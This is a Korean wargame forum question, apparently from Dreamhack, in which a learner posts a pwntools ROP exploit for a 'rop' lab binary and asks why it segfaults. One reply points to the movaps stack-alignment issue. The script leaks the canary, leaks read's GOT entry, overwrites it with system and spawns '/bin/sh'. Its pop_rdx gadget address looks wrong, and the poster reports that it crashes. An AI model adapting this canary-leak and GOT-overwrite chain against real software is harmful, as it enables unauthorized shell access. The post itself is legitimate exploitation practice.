[클라우드 바우처] 80% 할인된 금액으로 드림핵 엔터프라이즈를 도입해 보세요. 자세히 알아보기
혹시 어떤 부분을 찾아봐야할까요? 다 이해한것 같은데 안되는 이유를 모르겠습니다.

어떻게 작동하는 건지는 이제 이해하고 두 주째 해보는데 계속 세그먼테이션 오류가 뜹니다....
(puts에서 read_got읽어오고, 그 주소로 system주소 계산해서 read_got에 overwrite하면서 바로뒤에 /bin/sh까지 써놓고, rdi에 /bin/sh가져와서 넣고 read_got읽으면 system 실행됨)

혹시 어떤 부분을 살펴보는게 좋을지 아니면 어떤 부분이 틀렸는지 봐주시면 감사하겠습니다

from pwn import *

p = process("./rop")
e = ELF("./rop")
libc = ELF("./libc-2.27.so")

# [1] Leak canary
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
print('[+] canary: ' + hex(cnry))

# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = 0x00000000004007f3
pop_rsi_r15 = 0x00000000004007f1
pop_rdx = 0x0000000000001b96

payload = b'A' * 0x38
payload += p64(cnry)
payload += b'B' * 0x8

# puts(read_got)
payload += p64(pop_rdi)
payload += p64(read_got)
payload += p64(puts_plt)

# read(0, read_got, 0x10)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(pop_rdx) + p64(0x10)
payload += p64(read_plt)

# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got+0x8)
payload += p64(read_plt)

p.sendafter('Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
print('[+] read: ' + hex(read))
print('[+] libc_base: ' + hex(lb))
print('[+] system: ' + hex(system))

p.send(p64(system) + b'/bin/sh\x00')

p.interactive()

#pwnable
작성자 정보
답변 1
avatar
p0her
Open Beta Tester

ubuntu 18.04 이시면 system 함수에서 발생하는 movaps issue를 참고해보시면 좋을것 같습니다!

2022.05.21. 01:15
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기